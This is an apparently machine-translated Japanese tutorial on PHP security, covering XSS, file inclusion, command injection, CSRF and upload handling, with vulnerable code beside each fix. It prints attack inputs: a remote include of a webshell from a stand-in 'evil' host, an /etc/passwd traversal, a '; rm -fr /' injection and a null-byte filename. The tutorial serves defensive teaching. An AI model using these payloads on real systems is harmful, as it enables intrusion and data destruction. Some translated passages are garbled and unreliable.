サーチ…
前書き
ほとんどのWebサイトがPHPを使い果たしているので、PHPの開発者がアプリケーションセキュリティは、Webサイト、データ、およびクライアントを保護する重要なトピックです。このトピックでは、PHPのベストプラクティス、PHPのサンプル修正による一般的な脆弱性や弱点について説明します。
備考
エラー報告
デフォルトでは、スクリプトで予期しないことが起こった場合、PHPはエラー 、 警告 、および通知メッセージをページに直接出力します。これはスクリプトの特定の問題を解決するのに便利ですが、同時にユーザーに知らせたくない情報を出力します。
したがって、プロダクション環境でのディレクトリツリーなど、サーバーに関する情報を明らかにするメッセージを表示しないようにすることをお勧めします。開発環境やテスト環境では、これらのメッセージはデバッグ目的で表示するのに役立つ場合があります。
迅速な解決策
それらをオフにして、メッセージがまったく表示されないようにすることができますが、これによりスクリプトのデバッグがより困難になります。
<?php
ini_set("display_errors", "0");
?>
あるいは、 php.iniで直接変更してください 。
display_errors = 0
エラーの処理
より良い選択肢は、データベースのような便利な場所にエラーメッセージを格納することです。
set_error_handler(function($errno , $errstr, $errfile, $errline){
try{
$pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);
if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){
if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){
throw new Exception('Unable to execute query');
}
} else {
throw new Exception('Unable to prepare query');
}
} catch (Exception $e){
error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr");
}
});
このメソッドは、メッセージをデータベースに記録し、ページに直接エコーするのではなくファイルに失敗した場合にログに記録します。こうすることで、あなたのウェブサイトで何が起こっているのかを追跡し、何か問題が生じた場合にすぐに通知することができます。
クロスサイトスクリプティング(XSS)
問題
クロスサイトスクリプティングは、Webクライアントによるリモートコードの意図しない実行です。 Webアプリケーションがユーザからの入力を受け取り、Webページ上に直接出力すると、どのWebアプリケーションもXSSに公開される可能性があります。入力にHTMLまたはJavaScriptが含まれている場合、このコンテンツがWebクライアントによってレンダリングされたときにリモートコードを実行できます。
たとえば、サードパーティ側にJavaScriptファイルが含まれているとします。
// http://example.com/runme.js
document.write("I'm running");
PHPアプリケーションは、渡された文字列を直接出力します:
<?php
echo '<div>' . $_GET['input'] . '</div>';
未チェックのGETパラメータに<script src="http://example.com/runme.js"></script>
が含まれている場合、PHPスクリプトの出力は次のようになります。
<div><script src="http://example.com/runme.js"></script></div>
サードパーティのJavaScriptが実行され、ユーザーはWebページで「実行中」と表示されます。
溶液
一般的なルールとして、クライアントからの入力を信用しないでください。すべてのGET、POST、およびCookieの値は何でもかまいません。そのため、検証する必要があります。これらの値を出力するときは、予期しない方法で評価されないようにエスケープしてください。
最も単純なアプリケーションでも、データを移動することができ、すべてのソースを追跡するのは難しいことに注意してください。したがって、 常に出力をエスケープするのがベストプラクティスです。
PHPはコンテキストに応じて出力をエスケープするいくつかの方法を提供します。
フィルタ関数
PHP 関数のフィルタ関数は、PHPスクリプトへの入力データをさまざまな方法でサニタイズまたは検証することを可能にします 。クライアント入力を保存または出力する場合に便利です。
HTMLエンコーディング
htmlspecialchars
は "HTML特殊文字"をHTMLエンコーディングに変換します。つまり、標準HTMLとして処理されません 。このメソッドを使って前の例を修正するには:
<?php
echo '<div>' . htmlspecialchars($_GET['input']) . '</div>';
// or
echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>';
出力しますか?
<div><script src="http://example.com/runme.js"></script></div>
内部のすべて<div>
タグには、代わりに、単純なテキストノードとして、ブラウザでJavaScriptタグとして解釈されることはありません 。ユーザーは次の情報を安全に確認できます。
<script src="http://example.com/runme.js"></script>
URLエンコーディング
PHPは、動的に生成されたURLを出力する際に、有効なURLを安全に出力するurlencode
関数を提供します。したがって、たとえば、ユーザーが別のGETパラメータの一部となるデータを入力できる場合は、次のようになります。
<?php
$input = urlencode($_GET['input']);
// or
$input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL);
echo '<a href="http://example.com/page?input="' . $input . '">Link</a>';
悪質な入力はすべて、エンコードされたURLパラメータに変換されます。
特殊な外部ライブラリまたはOWASP AntiSamyリストの使用
HTMLや他の種類のコード入力を送信したい場合もあります。許可された単語(ホワイトリスト)と無許可(ブラックリスト)のリストを維持する必要があります。
OWASP AntiSamyのWebサイトで入手できる標準リストをダウンロードできます。各リストは特定の種類の相互作用(ebay api、tinyMCEなど)に適しています。そしてそれはオープンソースです。
HTMLをフィルタリングし、一般的なケースに対してXSS攻撃を防ぎ、少なくともAntiSamyリストと同様に非常に簡単に使用できるライブラリが存在します。例えば、あなたはHTML Purifierを持っています
ファイルインクルージョン
リモートファイルインクルージョン
リモートファイルインクルード(RFIとも呼ばれます)は、攻撃者がリモートファイルを含めることを可能にする脆弱性の一種です。
この例では、悪意のあるコードを含むリモートでホストされたファイルを挿入します。
<?php
include $_GET['page'];
/vulnerable.php?page= http://evil.example.com/webshell.txt ?
ローカルファイルのインクルード
ローカルファイルインクルード(LFIとも呼ばれます)は、Webブラウザを介してサーバーにファイルを含めるプロセスです。
<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
include $page;
} else {
include 'index.php';
}
/vulnerable.php?page=../../../../etc/passwd
RFI&LFIのソリューション:
承認したファイルのみを含めることを許可し、そのファイルのみに制限することをお勧めします。
<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
include($page);
} else {
include('index.php');
}
コマンドラインインジェクション
問題
SQLインジェクション攻撃者がデータベース上で任意のクエリを実行できるように、コマンドラインインジェクションを使用すると、信頼できないシステムコマンドをWebサーバー上で実行することができます。不適切に保護されたサーバーを使用すると、攻撃者はシステムを完全に制御できます。
たとえば、スクリプトを使用すると、Webサーバー上のディレクトリの内容をリストすることができます。
<pre>
<?php system('ls ' . $_GET['path']); ?>
</pre>
実際のアプリケーションでは、パスの内容を取得するためにPHPの組み込み関数やオブジェクトを使用します。この例は、簡単なセキュリティデモンストレーションです。
/tmp
似たpath
パラメータを得ることを望むでしょう。しかし、どんな入力も許可されるので、 path
は可能; rm -fr /
。 Webサーバーは、コマンドを実行します
ls; rm -fr /
サーバーのルートからすべてのファイルを削除しようとします。
溶液
すべてのコマンド引数は 、 escapeshellarg()
またはescapeshellcmd()
を使用してescapeshellarg()
必要があります。これにより、引数は実行不能になります。各パラメータについて、入力値も検証する必要があります。
最も単純なケースでは、
<pre>
<?php system('ls ' . escapeshellarg($_GET['path'])); ?>
</pre>
前の例でファイルを削除しようとすると、実行されたコマンドは次のようになります。
ls '; rm -fr /'
ls
コマンドを終了してrm
を実行するのではなく、単に文字列をls
渡すだけです。
上記の例は、コマンド・インジェクションからは安全ですが、ディレクトリ・トラバースからは保護されていないことに注意してください。これを修正するには、正規化されたパスが目的のサブディレクトリで始まることを確認する必要があります。
PHPは、以下を含むシステムコマンドを実行するための様々な機能、提供していますexec
、 passthru
、 proc_open
、 shell_exec
、およびsystem
。すべての人は、慎重に妥当性を確認してエスケープしなければなりません。
PHPのバージョンリーク
デフォルトでは、PHPは使用しているPHPのバージョンを世界に伝えます。
X-Powered-By: PHP/5.3.8
これを修正するには、php.iniを変更するか、
expose_php = off
またはヘッダーを変更する:
header("X-Powered-By: Magic");
htaccessメソッドを使用する場合は、次のようにします。
Header unset X-Powered-By
上記の方法のいずれかがうまくいかない場合は、 header_remove()
関数もあり、ヘッダを削除することができます。
header_remove('X-Powered-By');
攻撃者があなたが使用しているPHPとPHPのバージョンを使用していることを知っている場合、あなたのサーバーを悪用する方が簡単です。
ストリップタグ
strip_tags
は、 strip_tags
がstrip_tags
ていると非常に強力な関数です。 クロスサイトスクリプティング攻撃を防止する方法として、文字エンコーディングなどのより良い方法がありますが、タグを取り除くと便利な場合もあります。
基本的な例
$string = '<b>Hello,<> please remove the <> tags.</b>';
echo strip_tags($string);
未処理の出力
Hello, please remove the tags.
タグを許可する
特定のタグを許可したいが他のタグは許可しないとしたら、その関数の2番目のパラメータで指定するとします。このパラメータはオプションです。私の場合は、 <b>
タグだけを通過させたいだけです。
$string = '<b>Hello,<> please remove the <br> tags.</b>';
echo strip_tags($string, '<b>');
未処理の出力
<b>Hello, please remove the tags.</b>
お知らせ
HTML
コメントとPHP
タグも削除されます。これはハードコードされており、allowable_tagsで変更することはできません。
PHP
5.3.4以降では、self-closing XHTML
タグは無視され、allowable_tagsでは非自己閉じタグのみが使用されます。たとえば、 <br>
と<br/>
両方を許可するには、以下を使用する必要があります。
<?php
strip_tags($input, '<br>');
?>
クロスサイトリクエスト偽造
問題
クロスサイトリクエスト偽造またはCSRF
により、エンドユーザーは知らずにWebサーバーに悪意のある要求を生成する可能性があります。この攻撃ベクトルは、POST要求とGET要求の両方で悪用される可能性があります。たとえば、URLエンドポイント/delete.php?accnt=12
がGETリクエストのaccnt
パラメータから渡されたアカウントを削除するとします。認証されたユーザーが他のアプリケーションで次のスクリプトを検出した場合
<img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0">
アカウントが削除されます。
溶液
この問題に対する共通の解決策は、 CSRFトークンの使用です。 CSRFトークンは要求に埋め込まれているため、Webアプリケーションは、アプリケーションの通常のワークフローの一部として要求されたソースから要求が送られたことを信頼することができます。最初に、ユーザーは一意のトークンの作成をトリガーするフォームの表示など、何らかのアクションを実行します。これを実装するサンプルフォームは次のようになります
<form method="get" action="/delete.php">
<input type="text" name="accnt" placeholder="accnt number" />
<input type="hidden" name="csrf_token" value="<randomToken>" />
<input type="submit" />
</form>
トークンは、フォームの送信後にユーザーセッションに対してサーバーによって検証され、悪質な要求を排除します。
サンプルコード
基本的な実装のサンプルコードは次のとおりです。
/* Code to generate a CSRF token and store the same */
...
<?php
session_start();
function generate_token() {
// Check if a token is present for the current session
if(!isset($_SESSION["csrf_token"])) {
// No token present, generate a new one
$token = random_bytes(64);
$_SESSION["csrf_token"] = $token;
} else {
// Reuse the token
$token = $_SESSION["csrf_token"];
}
return $token;
}
?>
<body>
<form method="get" action="/delete.php">
<input type="text" name="accnt" placeholder="accnt number" />
<input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" />
<input type="submit" />
</form>
</body>
...
/* Code to validate token and drop malicious requests */
...
<?php
session_start();
if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) {
// Reset token
unset($_SESSION["csrf_token"]);
die("CSRF token validation failed");
}
?>
...
CSRF検証の独自の実装を持つ多くのライブラリとフレームワークが既に利用可能です。これはCSRFの簡単な実装ですが、CSRFトークンを盗み出して固定するのを防ぐため、CSRFトークンを動的に再生成するコードを書く必要があります。
ファイルのアップロード
ユーザーがサーバーにファイルをアップロードするようにするには、実際にアップロードしたファイルをWebディレクトリに移動する前に、いくつかのセキュリティチェックを行う必要があります。
アップロードされたデータ:
この配列には、 ユーザーが 送信したデータが含まれており、ファイル自体に関する情報ではありません 。通常、このデータはブラウザによって生成されますが、ソフトウェアを使用して同じフォームに簡単に後要求を行うことができます。
$_FILES['file']['name'];
$_FILES['file']['type'];
$_FILES['file']['size'];
$_FILES['file']['tmp_name'];
-
name
- それをすべて検証します。 -
type
- このデータは使用しないでください。代わりにPHP関数を使用してフェッチすることができます。 -
size
- 安全に使用できます。 -
tmp_name
- 安全に使用できます。
ファイル名の利用
通常、オペレーティングシステムはファイル名に特定の文字を許可しませんが、要求をスプーフィングすることで、予期しないことが起こるように追加することができます。たとえば、ファイルの名前を付けます。
../script.php%00.png
そのファイル名をよく見て、いくつか注意してください。
- 最初に気付くのは
../
です。ファイル名では完全に違法ですが、ファイルを1つのディレクトリから別のディレクトリに移動している場合は完璧ですが、これは正しいでしょうか? - スクリプトでファイル拡張子を正しく検証していると思うかもしれませんが、このエクスプロイトは
%00
をnull
文字に変換して、基本的にはオペレーティングシステムに、この文字列はここで終わり、ファイル名を.png
取り除きます。
だから私はscript.php
を別のディレクトリにアップロードしscript.php
た。また、 .htaccess
ファイルを.htaccess
して、アップロードディレクトリ内からスクリプトを実行できないようにします。
安全にファイル名と拡張子を取得する
pathinfo()
を使って名前と拡張子を安全に外挿することができますが、最初にファイル名の不要な文字を置き換える必要があります:
// This array contains a list of characters not allowed in a filename
$illegal = array_merge(array_map('chr', range(0,31)), ["<", ">", ":", '"', "/", "\\", "|", "?", "*", " "]);
$filename = str_replace($illegal, "-", $_FILES['file']['name']);
$pathinfo = pathinfo($filename);
$extension = $pathinfo['extension'] ? $pathinfo['extension']:'';
$filename = $pathinfo['filename'] ? $pathinfo['filename']:'';
if(!empty($extension) && !empty($filename)){
echo $filename, $extension;
} else {
die('file is missing an extension or name');
}
今私たちはファイル名と拡張子を格納に使うことができますが、その情報をデータベースに格納し、そのファイルにmd5(uniqid().microtime())
などの生成された名前を付けることをおmd5(uniqid().microtime())
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| id | title | extension | mime | size | filename | time |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| 1 | myfile | txt | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11 00:38:54 |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
これにより、重複したファイル名や意図しないファイル名の問題が解決されます。また、攻撃者は、そのファイルが格納されている場所を推測して、実行のためにそのファイルを特別にターゲットできないようにします。
MIMEタイプの検証
ファイル拡張子をチェックしてファイルがどれであるかを判断するのは不十分です。ファイルとしてimage.png
という名前をimage.png
こともできますが、PHPスクリプトが含まれている可能性があります。アップロードされたファイルのmime-typeをファイル拡張子と照らし合わせることにより、そのファイルがその名前が参照しているものが含まれているかどうかを確認することができます。
イメージを検証するためにさらに1ステップ進めても、それは実際にイメージを開いています。
if($mime == 'image/jpeg' && $extension == 'jpeg' || $extension == 'jpg'){
if($img = imagecreatefromjpeg($filename)){
imagedestroy($img);
} else {
die('image failed to open, could be corrupt or the file contains something else.');
}
}
ビルドイン関数またはクラスを使用してmime-typeをフェッチすることができます。
ホワイトリストにあなたのアップロード
最も重要なことは、各フォームに応じてファイル拡張子とMIMEタイプをホワイトリストに登録する必要があることです。
function isFiletypeAllowed($extension, $mime, array $allowed)
{
return isset($allowed[$mime]) &&
is_array($allowed[$mime]) &&
in_array($extension, $allowed[$mime]);
}
$allowedFiletypes = [
'image/png' => [ 'png' ],
'image/gif' => [ 'gif' ],
'image/jpeg' => [ 'jpg', 'jpeg' ],
];
var_dump(isFiletypeAllowed('jpg', 'image/jpeg', $allowedFiletypes));